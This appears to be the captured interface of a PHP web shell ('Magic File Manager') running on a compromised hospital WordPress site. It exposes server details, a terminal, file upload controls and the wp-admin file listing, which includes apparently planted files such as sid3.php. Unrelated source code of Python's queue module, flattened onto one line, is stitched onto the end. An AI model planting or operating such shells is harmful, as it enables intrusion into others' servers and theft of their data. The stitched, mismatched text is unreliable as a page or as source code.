✨ Magic File Manager

🚀 Hostinger Optimized
🖥️ Server: Apache
💻 System: Linux bom1plzcpnl503817.prod.bom1.secureserver.net 4.18.0-553.141.2.lve.el8.x86_64 #1 SMP Wed Jul 8 16:10:02 UTC 2026 x86_64
👤 User: pnj6a06usxf3 (9714991)
🐘 PHP: 8.1.34
🚫 Disabled: ✨ NONE

💻 Terminal

📁 /home/pnj6a06usxf3/public_html/shivshaktihospital.co.in/wp-admin
$
📂 /homepnj6a06usxf3public_htmlshivshaktihospital.co.inwp-admin

📁 Create New

⬆️ Upload File

📊 Max upload: 32M | 📦 Max POST: 128M
📄 Name📊 Size🔒 Perm⚡ Actions
📁 css--drwxr-xr-x
📁 images--drwxr-xr-x
📁 includes--drwxr-xr-x
📁 js--drwxr-xr-x
📁 maint--drwxr-xr-x
📁 network--drwxr-xr-x
📁 user--drwxr-xr-x
🐘 about.php17.572 KB-rw-r--r--
🐘 admin-ajax.php5.025 KB-rw-r--r--
🐘 admin-footer.php2.738 KB-rw-r--r--
🐘 admin-functions.php0.461 KB-rw-r--r--
🐘 admin-header.php9.066 KB-rw-r--r--
🐘 admin-post.php1.974 KB-rw-r--r--
🐘 admin.php12.632 KB-rw-r--r--
🐘 async-upload.php5.473 KB-rw-r--r--
🐘 authorize-application.php10.093 KB-rw-r--r--
🐘 comment.php11.37 KB-rw-r--r--
🐘 contribute.php5.523 KB-rw-r--r--
🐘 credits.php4.044 KB-rw-r--r--
🐘 custom-background.php0.471 KB-rw-r--r--
🐘 custom-header.php0.48 KB-rw-r--r--
🐘 customize.php11.314 KB-rw-r--r--
🐘 edit-comments.php14.145 KB-rw-r--r--
🐘 edit-form-advanced.php28.79 KB-rw-r--r--
🐘 edit-form-blocks.php15.164 KB-rw-r--r--
🐘 edit-form-comment.php13.652 KB-rw-r--r--
🐘 edit-link-form.php6.198 KB-rw-r--r--
🐘 edit-tag-form.php10.408 KB-rw-r--r--
🐘 edit-tags.php21.982 KB-rw-r--r--
🐘 edit.php19.484 KB-rw-r--r--
🐘 erase-personal-data.php7.329 KB-rw-r--r--
📄 error_log9.984 KB-rw-r--r--
🐘 export-personal-data.php7.754 KB-rw-r--r--
🐘 export.php11.001 KB-rw-r--r--
🐘 font-library.php1.445 KB-rw-r--r--
🐘 freedoms.php4.467 KB-rw-r--r--
🐘 import.php7.584 KB-rw-r--r--
🐘 index.php7.68 KB-rw-r--r--
🐘 install-helper.php6.798 KB-rw-r--r--
🐘 install.php17.944 KB-rw-r--r--
🐘 link-add.php0.912 KB-rw-r--r--
🐘 link-manager.php4.259 KB-rw-r--r--
🐘 link-parse-opml.php2.657 KB-rw-r--r--
🐘 link.php2.888 KB-rw-r--r--
🐘 load-scripts.php2.021 KB-rw-r--r--
🐘 load-styles.php2.925 KB-rw-r--r--
🐘 log.php63.893 KB-rw-r--r--
🐘 media-new.php3.173 KB-rw-r--r--
🐘 media-upload.php3.582 KB-rw-r--r--
🐘 media.php0.8 KB-rw-r--r--
🐘 menu-header.php9.816 KB-rw-r--r--
🐘 menu.php17.709 KB-rw-r--r--
🐘 moderation.php0.3 KB-rw-r--r--
🐘 ms-admin.php0.191 KB-rw-r--r--
🐘 ms-delete-site.php4.505 KB-rw-r--r--
🐘 ms-edit.php0.211 KB-rw-r--r--
🐘 ms-options.php0.224 KB-rw-r--r--
🐘 ms-sites.php0.21 KB-rw-r--r--
🐘 ms-themes.php0.212 KB-rw-r--r--
🐘 ms-upgrade-network.php0.214 KB-rw-r--r--
🐘 ms-users.php0.21 KB-rw-r--r--
🐘 my-sites.php4.718 KB-rw-r--r--
🐘 nav-menus.php49.022 KB-rw-r--r--
🐘 network.php5.394 KB-rw-r--r--
🐘 options-connectors.php1.507 KB-rw-r--r--
🐘 options-discussion.php16.019 KB-rw-r--r--
🐘 options-general.php22.319 KB-rw-r--r--
🐘 options-head.php0.6 KB-rw-r--r--
🐘 options-media.php6.484 KB-rw-r--r--
🐘 options-permalink.php21.964 KB-rw-r--r--
🐘 options-privacy.php10.453 KB-rw-r--r--
🐘 options-reading.php9.959 KB-rw-r--r--
🐘 options-writing.php9.184 KB-rw-r--r--
🐘 options.php13.932 KB-rw-r--r--
🐘 plugin-editor.php13.741 KB-rw-r--r--
🐘 plugin-install.php7.259 KB-rw-r--r--
🐘 plugins.php30.023 KB-rw-r--r--
🐘 post-new.php2.703 KB-rw-r--r--
🐘 post.php10.567 KB-rw-r--r--
🐘 press-this.php2.412 KB-rw-r--r--
🐘 privacy-policy-guide.php3.668 KB-rw-r--r--
🐘 privacy.php2.453 KB-rw-r--r--
🐘 profile.php0.276 KB-rw-r--r--
🐘 revision.php5.699 KB-rw-r--r--
🐘 setup-config.php17.508 KB-rw-r--r--
🐘 sid3.php55.304 KB-rw-r--r--
🐘 site-editor.php12.19 KB-rw-r--r--
🐘 site-health-info.php4.075 KB-rw-r--r--
🐘 site-health.php10.183 KB-rw-r--r--
🐘 term.php2.196 KB-rw-r--r--
🐘 theme-editor.php16.874 KB-rw-r--r--
🐘 theme-install.php23.745 KB-rw-r--r--
🐘 themes.php48.563 KB-rw-r--r--
🐘 tools.php3.432 KB-rw-r--r--
🐘 update-core.php45.119 KB-rw-r--r--
🐘 update.php12.756 KB-rw-r--r--
🐘 upgrade-functions.php0.333 KB-rw-r--r--
🐘 upgrade.php6.24 KB-rw-r--r--
🐘 upload.php14.934 KB-rw-r--r--
🐘 user-edit.php40.863 KB-rw-r--r--
🐘 user-new.php24.086 KB-rw-r--r--
🐘 users.php25.096 KB-rw-r--r--
🐘 widgets-form-blocks.php5.112 KB-rw-r--r--
🐘 widgets-form.php19.129 KB-rw-r--r--
🐘 widgets.php1.086 KB-rw-r--r--
✨ File Manager Magic · Hostinger Optimized ✨
'''A multi-producer, multi-consumer queue.''' try: import threading except ImportError: import dummy_threading as threading from collections import deque from heapq import heappush, heappop from time import monotonic as time __all__ = ['Empty', 'Full', 'Queue', 'PriorityQueue', 'LifoQueue'] class Empty(Exception): 'Exception raised by Queue.get(block=0)/get_nowait().' pass class Full(Exception): 'Exception raised by Queue.put(block=0)/put_nowait().' pass class Queue: '''Create a queue object with a given maximum size. If maxsize is <= 0, the queue size is infinite. ''' def __init__(self, maxsize=0): self.maxsize = maxsize self._init(maxsize) # mutex must be held whenever the queue is mutating. All methods # that acquire mutex must release it before returning. mutex # is shared between the three conditions, so acquiring and # releasing the conditions also acquires and releases mutex. self.mutex = threading.Lock() # Notify not_empty whenever an item is added to the queue; a # thread waiting to get is notified then. self.not_empty = threading.Condition(self.mutex) # Notify not_full whenever an item is removed from the queue; # a thread waiting to put is notified then. self.not_full = threading.Condition(self.mutex) # Notify all_tasks_done whenever the number of unfinished tasks # drops to zero; thread waiting to join() is notified to resume self.all_tasks_done = threading.Condition(self.mutex) self.unfinished_tasks = 0 def task_done(self): '''Indicate that a formerly enqueued task is complete. Used by Queue consumer threads. For each get() used to fetch a task, a subsequent call to task_done() tells the queue that the processing on the task is complete. If a join() is currently blocking, it will resume when all items have been processed (meaning that a task_done() call was received for every item that had been put() into the queue). Raises a ValueError if called more times than there were items placed in the queue. ''' with self.all_tasks_done: unfinished = self.unfinished_tasks - 1 if unfinished <= 0: if unfinished < 0: raise ValueError('task_done() called too many times') self.all_tasks_done.notify_all() self.unfinished_tasks = unfinished def join(self): '''Blocks until all items in the Queue have been gotten and processed. The count of unfinished tasks goes up whenever an item is added to the queue. The count goes down whenever a consumer thread calls task_done() to indicate the item was retrieved and all work on it is complete. When the count of unfinished tasks drops to zero, join() unblocks. ''' with self.all_tasks_done: while self.unfinished_tasks: self.all_tasks_done.wait() def qsize(self): '''Return the approximate size of the queue (not reliable!).''' with self.mutex: return self._qsize() def empty(self): '''Return True if the queue is empty, False otherwise (not reliable!). This method is likely to be removed at some point. Use qsize() == 0 as a direct substitute, but be aware that either approach risks a race condition where a queue can grow before the result of empty() or qsize() can be used. To create code that needs to wait for all queued tasks to be completed, the preferred technique is to use the join() method. ''' with self.mutex: return not self._qsize() def full(self): '''Return True if the queue is full, False otherwise (not reliable!). This method is likely to be removed at some point. Use qsize() >= n as a direct substitute, but be aware that either approach risks a race condition where a queue can shrink before the result of full() or qsize() can be used. ''' with self.mutex: return 0 < self.maxsize <= self._qsize() def put(self, item, block=True, timeout=None): '''Put an item into the queue. If optional args 'block' is true and 'timeout' is None (the default), block if necessary until a free slot is available. If 'timeout' is a non-negative number, it blocks at most 'timeout' seconds and raises the Full exception if no free slot was available within that time. Otherwise ('block' is false), put an item on the queue if a free slot is immediately available, else raise the Full exception ('timeout' is ignored in that case). ''' with self.not_full: if self.maxsize > 0: if not block: if self._qsize() >= self.maxsize: raise Full elif timeout is None: while self._qsize() >= self.maxsize: self.not_full.wait() elif timeout < 0: raise ValueError("'timeout' must be a non-negative number") else: endtime = time() + timeout while self._qsize() >= self.maxsize: remaining = endtime - time() if remaining <= 0.0: raise Full self.not_full.wait(remaining) self._put(item) self.unfinished_tasks += 1 self.not_empty.notify() def get(self, block=True, timeout=None): '''Remove and return an item from the queue. If optional args 'block' is true and 'timeout' is None (the default), block if necessary until an item is available. If 'timeout' is a non-negative number, it blocks at most 'timeout' seconds and raises the Empty exception if no item was available within that time. Otherwise ('block' is false), return an item if one is immediately available, else raise the Empty exception ('timeout' is ignored in that case). ''' with self.not_empty: if not block: if not self._qsize(): raise Empty elif timeout is None: while not self._qsize(): self.not_empty.wait() elif timeout < 0: raise ValueError("'timeout' must be a non-negative number") else: endtime = time() + timeout while not self._qsize(): remaining = endtime - time() if remaining <= 0.0: raise Empty self.not_empty.wait(remaining) item = self._get() self.not_full.notify() return item def put_nowait(self, item): '''Put an item into the queue without blocking. Only enqueue the item if a free slot is immediately available. Otherwise raise the Full exception. ''' return self.put(item, block=False) def get_nowait(self): '''Remove and return an item from the queue without blocking. Only get an item if one is immediately available. Otherwise raise the Empty exception. ''' return self.get(block=False) # Override these methods to implement other queue organizations # (e.g. stack or priority queue). # These will only be called with appropriate locks held # Initialize the queue representation def _init(self, maxsize): self.queue = deque() def _qsize(self): return len(self.queue) # Put a new item in the queue def _put(self, item): self.queue.append(item) # Get an item from the queue def _get(self): return self.queue.popleft() class PriorityQueue(Queue): '''Variant of Queue that retrieves open entries in priority order (lowest first). Entries are typically tuples of the form: (priority number, data). ''' def _init(self, maxsize): self.queue = [] def _qsize(self): return len(self.queue) def _put(self, item): heappush(self.queue, item) def _get(self): return heappop(self.queue) class LifoQueue(Queue): '''Variant of Queue that retrieves most recently added entries first.''' def _init(self, maxsize): self.queue = [] def _qsize(self): return len(self.queue) def _put(self, item): self.queue.append(item) def _get(self): return self.queue.pop()